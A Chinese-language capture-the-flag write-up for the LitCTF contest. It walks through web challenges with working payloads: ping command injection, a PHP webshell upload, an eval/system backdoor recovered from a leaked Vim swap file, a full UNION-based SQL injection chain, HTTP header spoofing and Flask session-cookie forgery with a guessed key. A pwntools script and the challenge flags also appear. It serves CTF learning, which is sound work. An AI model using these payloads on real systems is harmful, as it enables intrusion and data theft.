前言
探姬杯好耶
评价:
年轻人的第一次ak,就web而言大多数题目很简单而且考点还是挺明显的,同时也能学到一点新的知识,对新生还是非常友好的,
mc服务器挺好玩的,
尝试用GPT4做KOH(x
让我狠狠的社探姬
WEB
导弹迷踪
js
进去直接翻js文件,在game.js下找到flag
PHP是世界上最好的语言!!
基本PHP命令执行
进入后发现右边有个能跑代码的框,直接system('ls')
尝试回显目录
成功回显,system('ls /')
查看根目录
那接下来就直接cat /flag
获取flag即可
1zjs
jsfuck
打开又是一个游戏页面,查看js
先看看(index)
游戏的js脚本指向./dist/index.umd.js
,那就顺着去找看看
在开头的注释处发现提示,访问/f@k3f1ag.php
发现jsfuck,复制到控制台跑一下得到flag
我Flag呢?
f12查看html注释
发现flag
Ping
ping
前端绕过
进去发现一个ping的命令框,尝试直接127.0.0.1;ls;
查看目录
发现被拦下来了,因为弹出的是一个窗口,猜测是前端过滤,使用burpsuite抓包发到重放器中
发现js脚本的前端过滤和文本输入框传入的参数command
与方式POST
这里用发包的方式进行命令执行(也可以直接禁用js在页面进行命令执行)
成功回显目录
查看根目录发现flag
直接cat /flag
即可
Follow me and hack me
get与post请求
进去按要求传参即可获得flag
作业管理系统
文件上传
进入题目f12发现提示
登录进去后发现一个文件上传页面
直接传图片马进去试试
上传成功
访问并执行命令找到flag
Vim yyds
信息泄露
题目提示“漏…漏了!”很明显是信息泄露
直接dirsearch
开扫
发现在/.index.php.swp
处存在泄露
访问可以下载其文件
用记事本打开发现有逆序的php代码
正序的php代码如下
<?php
error_reporting(0);
$password = "Give_Me_Your_Flag";
echo "<p>can can need Vim </p>";
if ($_POST['password'] === base64_encode($password)) {
echo "<p>Oh You got my password!</p>";
eval(system($_POST['cmd']));
}
?>
逻辑很清晰,post传入password
,如果password
等于base64编码Give_Me_Your_Flag
就能在post传入的cmd
处执行命令
cat /flag即可
Http pro max plus
http请求头
进入题目
发现要求我们用本地访问
尝试直接X-Forwarded-For:127.0.0.1
执行 发现xff头被过滤了
换个请求头Client-ip:127.0.0.1
即可
执行显示 You are not from pornhub.com !
请求头加上Referer:pornhub.com
执行显示 用Chrome浏览器啊
把UA头改成user-agent: Chrome
执行显示 不开代理你想上p站?代理服务器地址是Clash.win
那请求头加上via:Clash.win
那么就看到下一步了
访问/wtfwtfwtfwtf.php
f12找到下一步(前面两个按钮…不是你来真的啊)
访问/sejishikong.php
得到flag
这是什么?SQL !注一下 !
sql注入
一个sql注入框,下面也给出了查询语句
很明显就是输入6个)
闭合然后执行自己的语句
第一步:查库
比赛的时候问题出在这里,因为本人注入的语句只能查当前库,结果翻了半天字段也没找到flag,最后还得多亏队友(
?id=-1)))))) union select schema_name,2 from information_schema.schemata%23
查询所有库的名字
查ctf库(这里直接搬已有的payload)
?id=-1)))))) union select database(),2%23
Array ( [0] => Array ( [username] => ctf [password] => 2 ) )
?id=-1)))))) union select group_concat(table_name),2 from information_schema.tables where table_schema='ctf'%23
//users
?id=-1)))))) union select group_concat(column_name),2 from information_schema.columns where table_name='users' and table_schema='ctf'%23
// id,username,password
?id=-1)))))) union select group_concat(id,0x7e,username,0x7e,password),2 from users%23
//1~tanji~OHHHHHHH,2~fake_flag~F1rst_to_Th3_eggggggggg!}
查一圈会发现根本找不到flag
那我们就查下ctftraining库中的表
对指定数据库查询的格式:库名.表名
?id=-1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctftraining'%23
返回Array ( [0] => Array ( [username] => 1 [password] => flag,news,users ) )
查列
?id=-1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' and table_schema='ctftraining'%23
返回Array ( [0] => Array ( [username] => 1 [password] => flag ) )
查字段(不能使用table_schema,因为是内置库的字段)
?id=-1)))))) union select 1,flag from ctftraining.flag%23
获取flag
Flag点击就送!
session伪造
进入题目,要求我们告诉名字,一开始猜测是ssti,{{7*7}}
试一下
进入/hello路由
发现没渲染,那应该不是ssti
点一下按钮
进入/flag路由,回显 “只有管理员才能拿flag耶”
那就回到输入名字的页面,输入admin
回车进入/hello路由,回显“你怎么可能是管理员哦!”
比赛的时候到这里题目就卡住了,但是可以确定flag应该是在/flag路由下获取的
于是回到/flag路由下寻找信息,在响应头发现Vary:Cookie
,请求头发现session
猜测是要修改session的值来匹配cookie
那就可以确定这题的题型是session伪造
在终端使用session解密的脚本(我这里前面传入的name是1),但是接下来最大的问题就是猜测密钥,最后还得靠队友猜出来密钥是LitCTF
python flask_session_cookie_manager3.py decode -s LitCTF -c eyJuYW1lIjoiMSJ9.ZG219Q.5vpdfyPWA5_My6yGze7cNds2wfE
运行得到{'name': '1'}
接下来要做的就是使session解密后的值修改为{'name': 'admin'}
,同样在终端使用脚本进行加密
python flask_session_cookie_manager3.py encode -s LitCTF -t {'name':'admin'}
运行得到eyJuYW1lIjoiYWRtaW4ifQ.ZG25fw.C4PC6BrXrAe2n3umTbs1qZSXtXE
然后带着这串session在/flag路由下传入获取flag
就当无事发生
github小知识
题目是探姬的博客链接
进去之后并不能找到什么有用的信息
回来看题目
差点数据没脱敏就发出去了,还好还没来得及部署,重新再pull一次(x
因为github每次pull都会留下修改记录
所以这边直接来到探姬的GitHub博客仓库下
点开commit次数旁边的修改记录可以找到flag
彩蛋
第一个彩蛋在控制台发现,执行题目提示的函数,得到第一段flag
第二个彩蛋在作业管理系统中的远程下载处的那个链接中
第三个彩蛋在备份文件www.zip
下,下载下来,将index.php.bak
改成index.php
,打开发现第三段flag
第四个彩蛋查看id=2时发现
拼接四段flag即可(记得改成NSSCTF开头)
LitCTF{First_t0_The_k3y!_S0_ne3t?_R3ady_Pl4yer_000ne_F1rst_to_Th3_eggggggggg!}
Pwn
口算题卡
纯计算
pwntools自动计算
from pwn import *
p = remote("node4.anna.nssctf.cn", 28355)
context(os="linux", arch="i386", log_level="debug")
recv_header = p.recvuntil(b"Have fun!\n")
for x in range(100):
p.recvuntil(b"What is")
key = p.recvuntil(b"?")
payload = flat([
str(eval(key[:-1]))
])
print(eval(key[:-1]))
p.sendline(payload)
p.interactive()
Crypto
梦想是红色的 (初级)
自由友善公正公正敬业法治自由自由和谐平等自由自由公正法治诚信民主诚信自由自由诚信民主爱国友善平等诚信富强友善爱国自由诚信民主敬业爱国诚信民主友善爱国平等爱国爱国敬业敬业友善爱国公正敬业爱国敬业和谐文明诚信文明友善爱国自由诚信民主爱国爱国诚信和谐友善爱国自由友善平等爱国友善平等友善自由诚信自由平等爱国爱国敬业敬业友善爱国敬业敬业友善自由友善平等诚信自由法治诚信和谐